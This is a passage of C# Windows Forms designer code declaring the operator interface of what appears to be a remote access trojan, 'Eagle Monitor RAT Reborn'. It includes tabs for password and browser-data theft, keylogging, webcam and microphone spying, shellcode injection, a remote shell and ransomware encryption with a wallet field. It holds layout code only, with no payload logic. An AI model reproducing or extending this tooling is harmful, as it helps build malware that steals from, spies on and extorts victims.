System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle53 = new System.Windows.Forms.DataGridViewCellStyle();\n            this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();\n            this.clientLabel = new System.Windows.Forms.Label();\n            this.mainGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage1 = new System.Windows.Forms.TabPage();\n            this.recoveryGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage3 = new System.Windows.Forms.TabPage();\n            this.passwordsDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.passwordContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.getPasswordToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar1 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage4 = new System.Windows.Forms.TabPage();\n            this.guna2VScrollBar2 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.historyDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column8 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column9 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.historyContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.historyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.tabPage6 = new System.Windows.Forms.TabPage();\n            this.autofillDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column21 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column22 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column23 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column24 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column25 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.autofillContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.autofillToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar5 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage7 = new System.Windows.Forms.TabPage();\n            this.keywordsDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column26 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column27 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.keywordsContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.keywordsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar6 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage2 = new System.Windows.Forms.TabPage();\n            this.panel1 = new System.Windows.Forms.Panel();\n            this.fileManagerGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage9 = new System.Windows.Forms.TabPage();\n            this.fileManagerDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column11 = new System.Windows.Forms.DataGridViewImageColumn();\n            this.Column12 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column13 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column14 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.fileManagerContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.goToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.shortcutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.shortcutContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.downloadSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.desktopSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.documentsSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.userProfileSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.fileContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.downloadFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.deleteFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.directoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.directoryContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.addRansomwareToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar3 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.panel2 = new System.Windows.Forms.Panel();\n            this.labelPath = new System.Windows.Forms.Label();\n            this.disksGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.tabPage13 = new System.Windows.Forms.TabPage();\n            this.dowloadFileDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column28 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column29 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column30 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column10 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.downloadContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.pauseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.startDowloadFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar7 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage5 = new System.Windows.Forms.TabPage();\n            this.panel3 = new System.Windows.Forms.Panel();\n            this.processDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column15 = new System.Windows.Forms.DataGridViewImageColumn();\n            this.Column16 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column17 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column18 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column19 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column20 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.processContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.refreshProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.suspendToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.resumeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.shellcodeInjectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar4 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage8 = new System.Windows.Forms.TabPage();\n            this.remoteGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage10 = new System.Windows.Forms.TabPage();\n            this.remoteDesktopPictureBox = new System.Windows.Forms.PictureBox();\n            this.remoteDesktopContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.saveRemoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.panel4 = new System.Windows.Forms.Panel();\n            this.captureGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch();\n            this.mouseGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch();\n            this.panel5 = new System.Windows.Forms.Panel();\n            this.qualityGuna2TrackBar = new Guna.UI2.WinForms.Guna2TrackBar();\n            this.label1 = new System.Windows.Forms.Label();\n            this.keyboardGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch();\n            this.label4 = new System.Windows.Forms.Label();\n            this.label5 = new System.Windows.Forms.Label();\n            this.label6 = new System.Windows.Forms.Label();\n            this.tabPage11 = new System.Windows.Forms.TabPage();\n            this.remoteWebCamPictureBox = new System.Windows.Forms.PictureBox();\n            this.webCamContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.getWebCamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.saveWebCamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.panel8 = new System.Windows.Forms.Panel();\n            this.camerasGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.captureWebCamGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch();\n            this.panel9 = new System.Windows.Forms.Panel();\n            this.label2 = new System.Windows.Forms.Label();\n            this.tabPage12 = new System.Windows.Forms.TabPage();\n            this.panel10 = new System.Windows.Forms.Panel();\n            this.microphoneContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.getMicrophonesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.audioDevicesGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.label7 = new System.Windows.Forms.Label();\n            this.currentMachineDevicesGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.remoteMicrophoneGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch();\n            this.label3 = new System.Windows.Forms.Label();\n            this.tabPage14 = new System.Windows.Forms.TabPage();\n            this.miscellaneousGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage15 = new System.Windows.Forms.TabPage();\n            this.memoryExecutionGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage19 = new System.Windows.Forms.TabPage();\n            this.nativePEDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column35 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.nativePEContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.addNativePEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.removeNativePEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.sendNativePEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.tabPage22 = new System.Windows.Forms.TabPage();\n            this.managedPEDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column33 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column34 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.managedPEContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.addManagedPEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.removeManagedPEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.sendManagedPEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.tabPage20 = new System.Windows.Forms.TabPage();\n            this.shellcodeDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column32 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.shellcodeContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.addShellCodeContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.removeShellCodeContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.sendShellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar8 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage21 = new System.Windows.Forms.TabPage();\n            this.platformGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.languageComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.codeTextBox = new FastColoredTextBoxNS.FastColoredTextBox();\n            this.testDotNetGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.sendDotNetGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.importLibDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column31 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.importLibContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.addImportLibContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.removeImportLibContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.tabPage16 = new System.Windows.Forms.TabPage();\n            this.keystrokeRichTextBox = new System.Windows.Forms.RichTextBox();\n            this.panel12 = new System.Windows.Forms.Panel();\n            this.keyloggerGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tabPage17 = new System.Windows.Forms.TabPage();\n            this.informationGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage30 = new System.Windows.Forms.TabPage();\n            this.retrieveInformationGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.panel22 = new System.Windows.Forms.Panel();\n            this.guna2GroupBox2 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.panel16 = new System.Windows.Forms.Panel();\n            this.guna2VScrollBar11 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.systemInformationDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column40 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column41 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.guna2GroupBox1 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.panel15 = new System.Windows.Forms.Panel();\n            this.componentsDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column38 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column39 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.guna2VScrollBar10 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.panel13 = new System.Windows.Forms.Panel();\n            this.cpuDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column36 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column37 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.guna2VScrollBar9 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.panel14 = new System.Windows.Forms.Panel();\n            this.tabPage31 = new System.Windows.Forms.TabPage();\n            this.guna2VScrollBar15 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.networkInformationDataGridView = new System.Windows.Forms.DataGridView();\n            this.retrieveNetworkGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tabPage18 = new System.Windows.Forms.TabPage();\n            this.panel18 = new System.Windows.Forms.Panel();\n            this.panel19 = new System.Windows.Forms.Panel();\n            this.guna2GroupBox3 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.blockMouseGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.blockKeyboardGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.guna2GroupBox5 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.screenlockerGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.showDesktopIconsGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.hideDesktopIconsGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.label10 = new System.Windows.Forms.Label();\n            this.label9 = new System.Windows.Forms.Label();\n            this.showTaskbarGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.hideTaskbarGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.wallpaperGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.label8 = new System.Windows.Forms.Label();\n            this.guna2GroupBox6 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.volumeDownGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.volumeUpGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.guna2GroupBox8 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.powerStateGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.setPowerGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.guna2GroupBox4 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.degreesGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.rotateScreenGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.guna2GroupBox7 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.linkWebGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.linkWebGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tabPage23 = new System.Windows.Forms.TabPage();\n            this.messageRichTextBox = new System.Windows.Forms.RichTextBox();\n            this.usernameChatGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.chatSendGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.messageChatGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.panel17 = new System.Windows.Forms.Panel();\n            this.chatGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tabPage24 = new System.Windows.Forms.TabPage();\n            this.askUACGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.guna2GroupBox9 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.restorePointDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column42 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column43 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column44 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column45 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.restorePointContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.refreshRestorePointToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.deleteRestorePointToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar12 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage25 = new System.Windows.Forms.TabPage();\n            this.ransomwareGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage26 = new System.Windows.Forms.TabPage();\n            this.pathRansomwareDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column46 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.ransomwarePathContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.removeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar13 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tabPage27 = new System.Windows.Forms.TabPage();\n            this.msgRansomwareGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.walletGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.checkExtensionsGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.panel20 = new System.Windows.Forms.Panel();\n            this.extensionRansomwareDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column47 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.extensionContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.addExtensionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.removeExtensionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.guna2VScrollBar14 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.subDirectoriesGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.tabPage28 = new System.Windows.Forms.TabPage();\n            this.startDecryptionGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.startEncryptionGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.generateRSAKeyGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tabPage29 = new System.Windows.Forms.TabPage();\n            this.panel21 = new System.Windows.Forms.Panel();\n            this.remoteShellStdOutRichTextBox = new System.Windows.Forms.RichTextBox();\n            this.remoteShellGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch();\n            this.label11 = new System.Windows.Forms.Label();\n            this.remoteShellGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.remoteShellGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.ransomwareContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.removePathToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.logoPictureBox = new System.Windows.Forms.PictureBox();\n            this.panel6 = new System.Windows.Forms.Panel();\n            this.guna2Panel5 = new Guna.UI2.WinForms.Guna2Panel();\n            this.bytesSentlabel = new System.Windows.Forms.Label();\n            this.bytesReceivedLabel = new System.Windows.Forms.Label();\n            this.panel7 = new System.Windows.Forms.Panel();\n            this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);\n            this.Column48 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column49 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column50 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column51 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column52 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.mainGuna2TabControl.SuspendLayout();\n            this.tabPage1.SuspendLayout();\n            this.recoveryGuna2TabControl.SuspendLayout();\n            this.tabPage3.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.passwordsDataGridView)).BeginInit();\n            this.passwordContextMenuStrip.SuspendLayout();\n            this.tabPage4.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.historyDataGridView)).BeginInit();\n            this.historyContextMenuStrip.SuspendLayout();\n            this.tabPage6.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.autofillDataGridView)).BeginInit();\n            this.autofillContextMenuStrip.SuspendLayout();\n            this.tabPage7.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.keywordsDataGridView)).BeginInit();\n            this.keywordsContextMenuStrip.SuspendLayout();\n            this.tabPage2.SuspendLayout();\n            this.panel1.SuspendLayout();\n            this.fileManagerGuna2TabControl.SuspendLayout();\n            this.tabPage9.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.fileManagerDataGridView)).BeginInit();\n            this.fileManagerContextMenuStrip.SuspendLayout();\n            this.shortcutContextMenuStrip.SuspendLayout();\n            this.fileContextMenuStrip.SuspendLayout();\n            this.directoryContextMenuStrip.SuspendLayout();\n            this.panel2.SuspendLayout();\n            this.tabPage13.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.dowloadFileDataGridView)).BeginInit();\n            this.downloadContextMenuStrip.SuspendLayout();\n            this.tabPage5.SuspendLayout();\n            this.panel3.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.processDataGridView)).BeginInit();\n            this.processContextMenuStrip.SuspendLayout();\n            this.tabPage8.SuspendLayout();\n            this.remoteGuna2TabControl.SuspendLayout();\n            this.tabPage10.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.remoteDesktopPictureBox)).BeginInit();\n            this.remoteDesktopContextMenuStrip.SuspendLayout();\n            this.panel4.SuspendLayout();\n            this.tabPage11.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.remoteWebCamPictureBox)).BeginInit();\n            this.webCamContextMenuStrip.SuspendLayout();\n            this.panel8.SuspendLayout();\n            this.tabPage12.SuspendLayout();\n            this.panel10.SuspendLayout();\n            this.microphoneContextMenuStrip.SuspendLayout();\n            this.tabPage14.SuspendLayout();\n            this.miscellaneousGuna2TabControl.SuspendLayout();\n            this.tabPage15.SuspendLayout();\n            this.memoryExecutionGuna2TabControl.SuspendLayout();\n            this.tabPage19.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.nativePEDataGridView)).BeginInit();\n            this.nativePEContextMenuStrip.SuspendLayout();\n            this.tabPage22.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.managedPEDataGridView)).BeginInit();\n            this.managedPEContextMenuStrip.SuspendLayout();\n            this.tabPage20.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.shellcodeDataGridView)).BeginInit();\n            this.shellcodeContextMenuStrip.SuspendLayout();\n            this.tabPage21.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.codeTextBox)).BeginInit();\n            ((System.ComponentModel.ISupportInitialize)(this.importLibDataGridView)).BeginInit();\n            this.importLibContextMenuStrip.SuspendLayout();\n            this.tabPage16.SuspendLayout();\n            this.tabPage17.SuspendLayout();\n            this.informationGuna2TabControl.SuspendLayout();\n            this.tabPage30.SuspendLayout();\n            this.guna2GroupBox2.SuspendLayout();\n            this.panel16.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).BeginInit();\n            this.guna2GroupBox1.SuspendLayout();\n            this.panel15.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).BeginInit();\n            this.panel13.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).BeginInit();\n            this.tabPage31.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).BeginInit();\n            this.tabPage18.SuspendLayout();\n            this.panel18.SuspendLayout();\n            this.panel19.SuspendLayout();\n            this.guna2GroupBox3.SuspendLayout();\n            this.guna2GroupBox5.SuspendLayout();\n            this.guna2GroupBox6.SuspendLayout();\n            this.guna2GroupBox8.SuspendLayout();\n            this.guna2GroupBox4.SuspendLayout();\n            this.guna2GroupBox7.SuspendLayout();\n            this.tabPage23.SuspendLayout();\n            this.tabPage24.SuspendLayout();\n            this.guna2GroupBox9.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.restorePointDataGridView)).BeginInit();\n            this.restorePointContextMenuStrip.SuspendLayout();\n            this.tabPage25.SuspendLayout();\n            this.ransomwareGuna2TabControl.SuspendLayout();\n            this.tabPage26.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.pathRansomwareDataGridView)).BeginInit();\n            this.ransomwarePathContextMenuStrip.SuspendLayout();\n            this.tabPage27.SuspendLayout();\n            this.panel20.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.extensionRansomwareDataGridView)).BeginInit();\n            this.extensionContextMenuStrip.SuspendLayout();\n            this.tabPage28.SuspendLayout();\n            this.tabPage29.SuspendLayout();\n            this.panel21.SuspendLayout();\n            this.ransomwareContextMenuStrip.SuspendLayout();\n            ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit();\n            this.panel6.SuspendLayout();\n            this.guna2Panel5.SuspendLayout();\n            this.panel7.SuspendLayout();\n            this.SuspendLayout();\n            // \n            // closeGuna2ControlBox\n            // \n            this.closeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.closeGuna2ControlBox.CustomClick = true;\n            this.closeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.closeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.closeGuna2ControlBox.Location = new System.Drawing.Point(1236, 1);\n            this.closeGuna2ControlBox.Name = \"closeGuna2ControlBox\";\n            this.closeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.closeGuna2ControlBox.TabIndex = 2;\n            this.closeGuna2ControlBox.Click += new System.EventHandler(this.closeGuna2ControlBox_Click);\n            // \n            // maximizeGuna2ControlBox\n            // \n            this.maximizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.maximizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MaximizeBox;\n            this.maximizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.maximizeGuna2ControlBox.IconColor = System.Drawing.Color.White;\n            this.maximizeGuna2ControlBox.Location = new System.Drawing.Point(1189, 1);\n            this.maximizeGuna2ControlBox.Name = \"maximizeGuna2ControlBox\";\n            this.maximizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29);\n            this.maximizeGuna2ControlBox.TabIndex = 3;\n            // \n            // minimizeGuna2ControlBox\n            // \n            this.minimizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));\n            this.minimizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MinimizeBox;\n            this.minimizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), 